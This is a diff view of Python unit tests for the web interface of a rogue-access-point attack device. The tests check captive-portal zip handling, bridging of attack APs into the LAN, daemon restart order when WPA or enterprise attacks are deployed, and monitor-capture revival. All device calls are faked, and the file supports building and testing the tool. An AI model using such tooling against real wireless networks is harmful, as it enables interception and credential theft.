||||||
|
|
||||||
|
def _import_blocked(self, data_bytes, name=None):
|
||||||
|
blocker = BlockZipfile()
|
||||||
|
saved = sys.modules.pop('zipfile', None)
|
||||||
|
sys.meta_path.insert(0, blocker)
|
||||||
|
try:
|
||||||
|
return server._portal_import(data_bytes, name)
|
||||||
|
finally:
|
||||||
|
sys.meta_path.remove(blocker)
|
||||||
|
if saved is not None:
|
||||||
|
sys.modules['zipfile'] = saved
|
||||||
|
|
||||||
|
def test_deflate_zip_extracts_without_zipfile(self):
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
|
||||||
|
zf.writestr('index.php', INDEX_PHP * 8)
|
||||||
|
zf.writestr('assets/style.css', b'body{}' + b'\n' * 400)
|
||||||
|
raw = buf.getvalue()
|
||||||
|
name = self._import_blocked(raw)
|
||||||
|
root = os.path.join(self.tmp, name)
|
||||||
|
with open(os.path.join(root, 'index.php'), 'rb') as f:
|
||||||
|
self.assertEqual(f.read(), INDEX_PHP * 8)
|
||||||
|
self.assertTrue(os.path.isfile(
|
||||||
|
os.path.join(root, 'assets', 'style.css')))
|
||||||
|
|
||||||
|
def test_stored_zip_extracts_without_zipfile(self):
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_STORED) as zf:
|
||||||
|
zf.writestr('index.php', INDEX_PHP)
|
||||||
|
name = self._import_blocked(buf.getvalue())
|
||||||
|
self.assertTrue(os.path.isfile(
|
||||||
|
os.path.join(self.tmp, name, 'index.php')))
|
||||||
|
|
||||||
|
def test_nested_top_dir_flattens_without_zipfile(self):
|
||||||
|
raw = make_zip({'index.php': INDEX_PHP}, top_dir='portal-x')
|
||||||
|
name = self._import_blocked(raw)
|
||||||
|
self.assertEqual(name, 'portal-x')
|
||||||
|
self.assertFalse(os.path.isdir(
|
||||||
|
os.path.join(self.tmp, 'portal-x', 'portal-x')))
|
||||||
|
|
||||||
|
def test_garbage_raises_valueerror_without_zipfile(self):
|
||||||
|
with self.assertRaises(ValueError):
|
||||||
|
self._import_blocked(b'not a zip')
|
||||||
|
|
||||||
|
|
||||||
|
class Radio1BridgeTest(unittest.TestCase):
|
||||||
|
"""#3: radio1 attack APs join br-lan via network.brlan.ports."""
|
||||||
|
|
||||||
|
def setUp(self):
|
||||||
|
self.f = FakeUciDevice()
|
||||||
|
self.old_run = server.device_run
|
||||||
|
server.device_run = self.f.device_run
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
server.device_run = self.old_run
|
||||||
|
|
||||||
|
def test_apply_wpa_adds_bridge_port(self):
|
||||||
|
server._apply_radio1_ap(None, {'ssid': 'Znet',
|
||||||
|
'passphrase': 'secretpass1',
|
||||||
|
'enctype': 'psk2', 'hidden': False,
|
||||||
|
'enabled': True, 'channel': 157})
|
||||||
|
self.assertEqual(self.f.lists.get('network.brlan.ports'), ['wlan1wpa'])
|
||||||
|
cmds = [r for r, _ in self.f.runs]
|
||||||
|
self.assertIn(['uci', 'commit', 'network'], cmds)
|
||||||
|
|
||||||
|
def test_apply_open_adds_bridge_port(self):
|
||||||
|
server._apply_radio1_ap({'ssid': 'Znet-Open', 'hidden': False,
|
||||||
|
'enabled': True, 'channel': 36,
|
||||||
|
'bssid': '', 'country': 'US'}, None)
|
||||||
|
self.assertEqual(self.f.lists.get('network.brlan.ports'), ['wlan1open'])
|
||||||
|
|
||||||
|
def test_remove_drops_both_bridge_ports(self):
|
||||||
|
self.f.lists['network.brlan.ports'] = ['eth0', 'wlan1wpa', 'wlan1open']
|
||||||
|
server._remove_radio1_ap()
|
||||||
|
self.assertEqual(self.f.lists.get('network.brlan.ports'), ['eth0'])
|
||||||
|
|
||||||
|
|
||||||
|
class DeployPineapdRestartTest(unittest.TestCase):
|
||||||
|
"""#4/#5: pineapd restart (not reload) after mgmtiface/link wiring."""
|
||||||
|
|
||||||
|
def setUp(self):
|
||||||
|
self.f = FakeUciDevice()
|
||||||
|
server.device_run = self.f.device_run
|
||||||
|
server.daemon_sock_call = self.f.daemon_sock_call
|
||||||
|
server._uci_wifi_iface = lambda name: {}
|
||||||
|
server._verify_iface = lambda name, timeout=20: True
|
||||||
|
server._allow_all_ssids = lambda: True
|
||||||
|
server._best_channel_for = lambda ssid: None
|
||||||
|
self.capture_starts = []
|
||||||
|
self.capture_stops = []
|
||||||
|
self.old_cap_start = getattr(server, '_ensure_attack_capture', None)
|
||||||
|
self.old_cap_stop = getattr(server, '_teardown_attack_capture', None)
|
||||||
|
server._ensure_attack_capture = \
|
||||||
|
lambda iface: (self.capture_starts.append(iface) or
|
||||||
|
{'running': True, 'pid': 1, 'iface': iface})
|
||||||
|
server._teardown_attack_capture = \
|
||||||
|
lambda iface: self.capture_stops.append(iface)
|
||||||
|
self.tmp = tempfile.mkdtemp(prefix='mk8-fix45-')
|
||||||
|
self.old_state = server.PINEAP_STATE_FILE
|
||||||
|
server.PINEAP_STATE_FILE = os.path.join(self.tmp, 'state.json')
|
||||||
|
self.old_ent = {k: getattr(server, k) for k in
|
||||||
|
('ENT_CONF', 'ENT_PIDFILE', 'ENT_EAP_USERS', 'ENT_STATE',
|
||||||
|
'ENT_DIR', 'ENT_CA_CERT', 'ENT_SERVER_CERT',
|
||||||
|
'ENT_SERVER_KEY', 'ENT_LOG', 'ENT_CAPTURES',
|
||||||
|
'ENT_DH_FILE')}
|
||||||
|
server.ENT_CONF = os.path.join(self.tmp, 'enterprise.conf')
|
||||||
|
server.ENT_PIDFILE = os.path.join(self.tmp, 'mk8.pid')
|
||||||
|
server.ENT_EAP_USERS = os.path.join(self.tmp, 'eap_users')
|
||||||
|
server.ENT_STATE = os.path.join(self.tmp, 'ent-state.json')
|
||||||
|
server.ENT_DIR = os.path.join(self.tmp, 'ent')
|
||||||
|
server.ENT_CA_CERT = os.path.join(server.ENT_DIR, 'ca.pem')
|
||||||
|
server.ENT_SERVER_CERT = os.path.join(server.ENT_DIR, 'server.pem')
|
||||||
|
server.ENT_SERVER_KEY = os.path.join(server.ENT_DIR, 'server.key')
|
||||||
|
server.ENT_LOG = os.path.join(server.ENT_DIR, 'hostapd.log')
|
||||||
|
server.ENT_CAPTURES = os.path.join(server.ENT_DIR, 'captures.json')
|
||||||
|
server.ENT_DH_FILE = os.path.join(server.ENT_DIR, 'dh.pem')
|
||||||
|
os.makedirs(server.ENT_DIR, exist_ok=True)
|
||||||
|
for p in (server.ENT_CA_CERT, server.ENT_SERVER_CERT,
|
||||||
|
server.ENT_SERVER_KEY, server.ENT_DH_FILE):
|
||||||
|
with open(p, 'w') as f:
|
||||||
|
f.write('stub\n')
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
server.PINEAP_STATE_FILE = self.old_state
|
||||||
|
if self.old_cap_start is not None:
|
||||||
|
server._ensure_attack_capture = self.old_cap_start
|
||||||
|
else:
|
||||||
|
delattr(server, '_ensure_attack_capture')
|
||||||
|
if self.old_cap_stop is not None:
|
||||||
|
server._teardown_attack_capture = self.old_cap_stop
|
||||||
|
else:
|
||||||
|
delattr(server, '_teardown_attack_capture')
|
||||||
|
for k, v in self.old_ent.items():
|
||||||
|
setattr(server, k, v)
|
||||||
|
shutil.rmtree(self.tmp, ignore_errors=True)
|
||||||
|
|
||||||
|
def _runs(self):
|
||||||
|
return [r for r, _ in self.f.runs]
|
||||||
|
|
||||||
|
def test_wpa_5g_restarts_pineapd_after_mgmtiface_before_engine(self):
|
||||||
|
status, payload = server.h_attacks_deploy(ctx({
|
||||||
|
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
|
||||||
|
'enctype': 'psk2', 'hidden': False, 'channel': 36}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
runs = self._runs()
|
||||||
|
mgmt = runs.index(['uci', 'set',
|
||||||
|
'pineapd.@hostapd[0].mgmtiface=wlan1wpa'])
|
||||||
|
restarts = [i for i, r in enumerate(runs)
|
||||||
|
if r == ['/etc/init.d/pineapd', 'restart']]
|
||||||
|
self.assertEqual(len(restarts), 1)
|
||||||
|
# pineapd must learn mgmtiface at startup, i.e. after the uci write
|
||||||
|
self.assertGreater(restarts[0], mgmt)
|
||||||
|
|
||||||
|
def test_wpa_2g4_does_not_restart_pineapd(self):
|
||||||
|
status, payload = server.h_attacks_deploy(ctx({
|
||||||
|
'kind': 'wpa', 'ssid': 'T', 'passphrase': 'secretpass1',
|
||||||
|
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertNotIn(['/etc/init.d/pineapd', 'restart'], self._runs())
|
||||||
|
|
||||||
|
def test_wpa_5g_autostarts_monitor_capture(self):
|
||||||
|
status, payload = server.h_attacks_deploy(ctx({
|
||||||
|
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
|
||||||
|
'enctype': 'psk2', 'hidden': False, 'channel': 36}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(self.capture_starts, ['wlan1mon'])
|
||||||
|
self.assertTrue(payload.get('capture'), 'deploy should report capture')
|
||||||
|
|
||||||
|
def test_wpa_2g4_skips_monitor_capture(self):
|
||||||
|
status, payload = server.h_attacks_deploy(ctx({
|
||||||
|
'kind': 'wpa', 'ssid': 'T', 'passphrase': 'secretpass1',
|
||||||
|
'enctype': 'psk2', 'hidden': False, 'channel': 6}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertEqual(self.capture_starts, [])
|
||||||
|
|
||||||
|
def test_stop_wpa_tears_down_monitor_capture(self):
|
||||||
|
server.h_attacks_deploy(ctx({
|
||||||
|
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
|
||||||
|
'enctype': 'psk2', 'hidden': False, 'channel': 36}))
|
||||||
|
status, payload = server.h_attacks_stop(ctx({'kind': 'wpa'}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertIn('wlan1mon', self.capture_stops)
|
||||||
|
|
||||||
|
def test_enterprise_restart_after_link_and_bridges_iface(self):
|
||||||
|
status, payload = server.h_attacks_deploy(ctx({
|
||||||
|
'kind': 'enterprise', 'ssid': 'Corp', 'enctype': 'wpa2',
|
||||||
|
'passphrase': 'Winter2026Labs!', 'channel': 36}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
runs = self._runs()
|
||||||
|
bridge = runs.index(['brctl', 'addif', 'br-lan', 'wlan1ent'])
|
||||||
|
restarts = [i for i, r in enumerate(runs)
|
||||||
|
if r == ['/etc/init.d/pineapd', 'restart']]
|
||||||
|
self.assertEqual(len(restarts), 1)
|
||||||
|
# the ctrl link (and therefore the bridge add) precedes the restart
|
||||||
|
self.assertGreater(restarts[0], bridge)
|
||||||
@@ -0,0 +1,193 @@
|
|||||||
|
"""Regression tests for round-2 validation findings (D1-D3).
|
||||||
|
|
||||||
|
D1 portal download must build the zip with struct+zlib, not zipfile
|
||||||
|
(python3-light has no zipfile; GET /api/portals/<name>/download 500s).
|
||||||
|
D2 the deploy-time auto-capture must survive post-deploy radio settle:
|
||||||
|
a revive pass re-arms the capture when it dies during bring-up.
|
||||||
|
D3 GET /api/attacks/capture must be routed to the status handler instead
|
||||||
|
of 404 (UI and scripts poll status).
|
||||||
|
"""
|
||||||
|
import io
|
||||||
|
import os
|
||||||
|
import shutil
|
||||||
|
import sys
|
||||||
|
import tempfile
|
||||||
|
import unittest
|
||||||
|
import zipfile
|
||||||
|
|
||||||
|
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..', 'payload',
|
||||||
|
'user', 'remote_access', 'pager-webui'))
|
||||||
|
import server
|
||||||
|
|
||||||
|
|
||||||
|
def setUpModule():
|
||||||
|
__import__('importlib').reload(server)
|
||||||
|
|
||||||
|
|
||||||
|
def ctx(body=None, args=()):
|
||||||
|
return type('C', (), {'body': body if body is not None else {},
|
||||||
|
'args': args, 'query': {}})()
|
||||||
|
|
||||||
|
|
||||||
|
class BlockZipfile:
|
||||||
|
"""Import hook simulating python3-light: importing zipfile raises."""
|
||||||
|
|
||||||
|
def find_spec(self, fullname, path=None, target=None):
|
||||||
|
if fullname == 'zipfile':
|
||||||
|
raise ImportError("No module named 'zipfile'")
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def without_zipfile(fn):
|
||||||
|
saved = sys.modules.pop('zipfile', None)
|
||||||
|
blocker = BlockZipfile()
|
||||||
|
sys.meta_path.insert(0, blocker)
|
||||||
|
try:
|
||||||
|
return fn()
|
||||||
|
finally:
|
||||||
|
sys.meta_path.remove(blocker)
|
||||||
|
if saved is not None:
|
||||||
|
sys.modules['zipfile'] = saved
|
||||||
|
|
||||||
|
|
||||||
|
class ZipCreateTest(unittest.TestCase):
|
||||||
|
"""D1: _zip_create builds archives readable by _zip_entries."""
|
||||||
|
|
||||||
|
def test_roundtrip_stored_entries(self):
|
||||||
|
files = {'index.php': b'<html>portal</html>', 'sub/a.ep': b'x' * 40}
|
||||||
|
data = server._zip_create(files)
|
||||||
|
self.assertEqual(server._zip_entries(data), files)
|
||||||
|
|
||||||
|
def test_output_is_standard_zip(self):
|
||||||
|
data = server._zip_create({'index.php': b'hello'})
|
||||||
|
with zipfile.ZipFile(io.BytesIO(data)) as zf:
|
||||||
|
self.assertEqual(zf.namelist(), ['index.php'])
|
||||||
|
self.assertEqual(zf.read('index.php'), b'hello')
|
||||||
|
|
||||||
|
def test_no_zipfile_import_needed(self):
|
||||||
|
def build():
|
||||||
|
return server._zip_create({'index.php': b'data'})
|
||||||
|
data = without_zipfile(build)
|
||||||
|
self.assertIn(b'PK\x03\x04', data[:4])
|
||||||
|
|
||||||
|
|
||||||
|
class PortalDownloadWithoutZipfileTest(unittest.TestCase):
|
||||||
|
"""D1: h_portal_download must work where zipfile is absent."""
|
||||||
|
|
||||||
|
def setUp(self):
|
||||||
|
self.tmp = tempfile.mkdtemp(prefix='mk8-d1-')
|
||||||
|
portal = os.path.join(self.tmp, 'p1')
|
||||||
|
os.makedirs(portal)
|
||||||
|
with open(os.path.join(portal, 'index.php'), 'w') as f:
|
||||||
|
f.write('<html><form method="post"></form></html>')
|
||||||
|
with open(os.path.join(portal, '.logs'), 'w') as f:
|
||||||
|
f.write('[log line]\n')
|
||||||
|
self.old_dir = server.PORTALS_DIR
|
||||||
|
server.PORTALS_DIR = self.tmp
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
server.PORTALS_DIR = self.old_dir
|
||||||
|
shutil.rmtree(self.tmp, ignore_errors=True)
|
||||||
|
|
||||||
|
def test_download_returns_parseable_zip(self):
|
||||||
|
def run():
|
||||||
|
status, payload = server.h_portal_download(ctx(args=('p1',)))
|
||||||
|
return status, payload
|
||||||
|
result = without_zipfile(run)
|
||||||
|
status, payload = result
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
entries = server._zip_entries(payload.data)
|
||||||
|
self.assertIn('p1/index.php', entries)
|
||||||
|
self.assertIn(b'<form method="post">', entries['p1/index.php'])
|
||||||
|
|
||||||
|
def test_download_missing_portal_404(self):
|
||||||
|
status, payload = server.h_portal_download(ctx(args=('nope',)))
|
||||||
|
self.assertEqual(status, 404)
|
||||||
|
|
||||||
|
|
||||||
|
class CaptureReviveTest(unittest.TestCase):
|
||||||
|
"""D2: revive pass re-arms a dead auto-capture."""
|
||||||
|
|
||||||
|
def setUp(self):
|
||||||
|
self.started = []
|
||||||
|
self.old_state = server._capture_state
|
||||||
|
self.old_ensure = server._ensure_attack_capture
|
||||||
|
self.old_exists = os.path.exists
|
||||||
|
# Pretend the monitor iface exists (tests run off-device).
|
||||||
|
os.path.exists = lambda p: True
|
||||||
|
|
||||||
|
def tearDown(self):
|
||||||
|
os.path.exists = self.old_exists
|
||||||
|
server._capture_state = self.old_state
|
||||||
|
server._ensure_attack_capture = self.old_ensure
|
||||||
|
|
||||||
|
def test_revive_restarts_dead_capture(self):
|
||||||
|
states = iter([(False, 123, True)])
|
||||||
|
server._capture_state = lambda pf, iface: next(states)
|
||||||
|
server._ensure_attack_capture = \
|
||||||
|
lambda iface: self.started.append(iface) or {'running': True}
|
||||||
|
server._capture_revive_once('wlan1mon')
|
||||||
|
self.assertEqual(self.started, ['wlan1mon'])
|
||||||
|
|
||||||
|
def test_revive_skips_running_capture(self):
|
||||||
|
server._capture_state = lambda pf, iface: (True, 5, False)
|
||||||
|
|
||||||
|
def boom(iface):
|
||||||
|
raise AssertionError('must not restart a running capture')
|
||||||
|
server._ensure_attack_capture = boom
|
||||||
|
server._capture_revive_once('wlan1mon')
|
||||||
|
|
||||||
|
def test_revive_skips_when_iface_gone(self):
|
||||||
|
server._capture_state = lambda pf, iface: (False, 7, True)
|
||||||
|
os.path.exists = lambda p: 'net/wlan1mon' not in str(p) and \
|
||||||
|
self.old_exists(p)
|
||||||
|
server._ensure_attack_capture = \
|
||||||
|
lambda iface: self.started.append(iface) or None
|
||||||
|
server._capture_revive_once('wlan1mon')
|
||||||
|
self.assertEqual(self.started, [])
|
||||||
|
|
||||||
|
def test_deploy_schedules_revive_for_5g_wpa(self):
|
||||||
|
scheduled = []
|
||||||
|
old_sched = server._schedule_capture_revive
|
||||||
|
old_ensure = server._ensure_attack_capture
|
||||||
|
server._schedule_capture_revive = lambda iface='wlan1mon': \
|
||||||
|
scheduled.append(iface)
|
||||||
|
server._ensure_attack_capture = \
|
||||||
|
lambda iface: {'running': True, 'pid': 1, 'iface': iface}
|
||||||
|
try:
|
||||||
|
import tests.test_attacks as ta
|
||||||
|
harness = ta.AttacksDeployTest('test_deploy_wpa_5g_writes_radio1')
|
||||||
|
harness.setUp()
|
||||||
|
try:
|
||||||
|
status, payload = server.h_attacks_deploy(ctx({
|
||||||
|
'kind': 'wpa', 'ssid': 'Corp', 'passphrase': 'secretpass1',
|
||||||
|
'enctype': 'psk2', 'hidden': False, 'channel': 36}))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertTrue(payload['verified'])
|
||||||
|
self.assertEqual(scheduled, ['wlan1mon'])
|
||||||
|
finally:
|
||||||
|
harness.tearDown()
|
||||||
|
finally:
|
||||||
|
server._schedule_capture_revive = old_sched
|
||||||
|
server._ensure_attack_capture = old_ensure
|
||||||
|
|
||||||
|
|
||||||
|
class CaptureGetRouteTest(unittest.TestCase):
|
||||||
|
"""D3: GET /api/attacks/capture routes to the capture handler."""
|
||||||
|
|
||||||
|
def test_get_route_registered(self):
|
||||||
|
handler, groups = server.ROUTER.dispatch('GET', '/api/attacks/capture')
|
||||||
|
self.assertIsNotNone(handler,
|
||||||
|
'GET /api/attacks/capture is not routed')
|
||||||
|
self.assertEqual(handler, server.h_attacks_capture)
|
||||||
|
|
||||||
|
def test_status_without_body_reports_stopped_not_error(self):
|
||||||
|
status, payload = server.h_attacks_capture(
|
||||||
|
ctx(body=None))
|
||||||
|
self.assertEqual(status, 200)
|
||||||
|
self.assertFalse(payload.get('running'))
|
||||||
|
self.assertNotIn('error', payload)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
unittest.main()
|
||||||
Reference in New Issue
Block a user